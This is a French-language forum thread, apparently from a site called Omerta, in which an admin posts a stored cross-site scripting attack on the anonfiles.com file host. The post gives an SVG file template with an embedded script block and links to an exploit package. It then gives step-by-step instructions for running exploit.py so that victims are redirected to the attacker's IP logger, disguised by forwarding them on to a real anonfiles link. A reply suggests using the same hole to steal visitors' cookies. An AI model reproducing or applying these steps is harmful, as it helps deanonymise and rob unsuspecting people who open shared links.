Aller au contenu
View in the app

A better way to browse. Learn more.

Omerta

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Anonfiles XSS qui permet de redirect sur un iplogger

Featured Replies

Posté(e)
  • Admin

Bonjour/Bonsoir,
Comme on le sait tous anonfiles.com est sûrement le pire hébergeur de fichier en terme de stabilité et de vitesse.
On sait maintenant aussi que c'est un hébergeur de fichier ayant certains problèmes de sécurité (mais ce vecteur doit pouvoir être utilisé sur pleins d'autres uploaders aussi).
POC : https://anonfiles.com/l9EacfEcx3/_video_mp4_ (cliquez ensuite sur télécharger)
Alors c'est plutôt simple, dans un premier temps les images SVG peuvent avoir comme fonction d'exécuter du js dans certains cas.
C'est normalement utilisé notamment par les sites qui ce servent des .SVG pour faire des jeux 2d/3d dans votre navigateur, mais bien sur, on peut ici lui trouver une autre utilité.

Voici maintenant comment l'exploiter :
Tout d’abord si vous le voulez voici le payload :

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="0" height="0" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
        CODE JS A EXECUTER ICI
    </script>
</svg>

J'imagine que vous voulez un moyen simple de l'exploiter alors voici ce que j'ai trouvé (crédits : https://github.com/BoofSec/anonfiles-xss-0day) et simplifié :

  • Téléchargez ce fichier : https://up.0day.live/#AoKGmEiWM07-Kz9w2w3AHQ (et python avec le module requests si vous ne l'avez pas encore).
  • Modifiez le lien dans payload.js pour rediriger vers votre iplogger (pour le rendre plus discret vous pouvez faire en sorte que cet iplogger redirige ensuite sur un vrais lien anonfiles).
  • Lancez le en faisant # py exploit.py -p payload.js -n 'video.mp4' (dans l'emplacement du dossier téléchargé et extrait)
  • Voilà, vous avez normalement le lien que vous pouvez partager.
Posté(e)
Il y a 2 heures, Admin a dit :

Bonjour/Bonsoir,
Comme on le sait tous anonfiles.com est sûrement le pire hébergeur de fichier en terme de stabilité et de vitesse.
On sait maintenant aussi que c'est un hébergeur de fichier ayant certains problèmes de sécurité (mais ce vecteur doit pouvoir être utilisé sur pleins d'autres uploaders aussi).
POC : https://anonfiles.com/l9EacfEcx3/_video_mp4_ (cliquez ensuite sur télécharger)
Alors c'est plutôt simple, dans un premier temps les images SVG peuvent avoir comme fonction d'exécuter du js dans certains cas.
C'est normalement utilisé notamment par les sites qui ce servent des .SVG pour faire des jeux 2d/3d dans votre navigateur, mais bien sur, on peut ici lui trouver une autre utilité.

Voici maintenant comment l'exploiter :
Tout d’abord si vous le voulez voici le payload :


<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="0" height="0" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
        CODE JS A EXECUTER ICI
    </script>
</svg>

J'imagine que vous voulez un moyen simple de l'exploiter alors voici ce que j'ai trouvé (crédits : https://github.com/BoofSec/anonfiles-xss-0day) et simplifié :

  • Téléchargez ce fichier : https://up.0day.live/#AoKGmEiWM07-Kz9w2w3AHQ (et python avec le module requests si vous ne l'avez pas encore).
  • Modifiez le lien dans payload.js pour rediriger vers votre iplogger (pour le rendre plus discret vous pouvez faire en sorte que cet iplogger redirige ensuite sur un vrais lien anonfiles).
  • Lancez le en faisant # py exploit.py -p payload.js -n 'video.mp4' (dans l'emplacement du dossier téléchargé et extrait)
  • Voilà, vous avez normalement le lien que vous pouvez partager.

Bonjour, je ne m'y connais pas du tout mais j'aimerai comprendre l'utilité de tout ça avec des termes simples. 😅

J'ai compris que c'était pour savoir l'adresse ip de quelqu'un je crois ou quelque chose comme ça ?

merci à toi

BTC :  bc1q2vjkq8yjcm3v82xcdrl7gtgf7dd4ea8ad40r0j

Site

Posté(e)
Il y a 11 heures, Admin a dit :

Bonjour/Bonsoir,
Comme on le sait tous anonfiles.com est sûrement le pire hébergeur de fichier en terme de stabilité et de vitesse.
On sait maintenant aussi que c'est un hébergeur de fichier ayant certains problèmes de sécurité (mais ce vecteur doit pouvoir être utilisé sur pleins d'autres uploaders aussi).
POC : https://anonfiles.com/l9EacfEcx3/_video_mp4_ (cliquez ensuite sur télécharger)
Alors c'est plutôt simple, dans un premier temps les images SVG peuvent avoir comme fonction d'exécuter du js dans certains cas.
C'est normalement utilisé notamment par les sites qui ce servent des .SVG pour faire des jeux 2d/3d dans votre navigateur, mais bien sur, on peut ici lui trouver une autre utilité.

Voici maintenant comment l'exploiter :
Tout d’abord si vous le voulez voici le payload :


<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="0" height="0" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
        CODE JS A EXECUTER ICI
    </script>
</svg>

J'imagine que vous voulez un moyen simple de l'exploiter alors voici ce que j'ai trouvé (crédits : https://github.com/BoofSec/anonfiles-xss-0day) et simplifié :

  • Téléchargez ce fichier : https://up.0day.live/#AoKGmEiWM07-Kz9w2w3AHQ (et python avec le module requests si vous ne l'avez pas encore).
  • Modifiez le lien dans payload.js pour rediriger vers votre iplogger (pour le rendre plus discret vous pouvez faire en sorte que cet iplogger redirige ensuite sur un vrais lien anonfiles).
  • Lancez le en faisant # py exploit.py -p payload.js -n 'video.mp4' (dans l'emplacement du dossier téléchargé et extrait)
  • Voilà, vous avez normalement le lien que vous pouvez partager.

Super inintéressant, je me pose quand même la question de pourquoi ça marche ? Pourquoi anonfile "render" le fichier que cherche à télécharger ?

Et du coup j'ai test sur up.0day.live et ça marche pas :mytho:

 

Il y a 8 heures, lolipop77 a dit :

Bonjour, je ne m'y connais pas du tout mais j'aimerai comprendre l'utilité de tout ça avec des termes simples. 😅

J'ai compris que c'était pour savoir l'adresse ip de quelqu'un je crois ou quelque chose comme ça ?

merci à toi

La technique te permet de faire ce qu'on appelle du cross site scripting (XSS). C'est à dire injecter du javascript directement sur le site. Ici en plus le payload (code malicieux) peut être uploader directement sur leurs serveurs.

En gros tu peux faire tous ce que tu peux faire avec du javascript, par exemple voler les cookies du compte anonfile qui cherche à télécharger et te les envoyer (j'ai pas tester, pas sur que ça marche)

Posté(e)
  • Auteur
  • Admin
Le 28/01/2022 à 08:39, JuneDay a dit :

Et du coup j'ai test sur up.0day.live et ça marche pas :mytho:

Tant mieux :mytho: et sinon j'ai pas vraiment de réponse ils doivent afficher tout ce qu'il est possible d'afficher :naif:

  • 3 semaines après...
Posté(e)
Le 28/01/2022 à 08:39, JuneDay a dit :

Super inintéressant, je me pose quand même la question de pourquoi ça marche ? Pourquoi anonfile "render" le fichier que cherche à télécharger ?

Et du coup j'ai test sur up.0day.live et ça marche pas :mytho:

 

La technique te permet de faire ce qu'on appelle du cross site scripting (XSS). C'est à dire injecter du javascript directement sur le site. Ici en plus le payload (code malicieux) peut être uploader directement sur leurs serveurs.

En gros tu peux faire tous ce que tu peux faire avec du javascript, par exemple voler les cookies du compte anonfile qui cherche à télécharger et te les envoyer (j'ai pas tester, pas sur que ça marche)

merci beaucoup pour tes explications qui sont claires !! 😉

BTC :  bc1q2vjkq8yjcm3v82xcdrl7gtgf7dd4ea8ad40r0j

Site

Créer un compte ou se connecter pour commenter

Account

Navigation

Rechercher

Rechercher

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.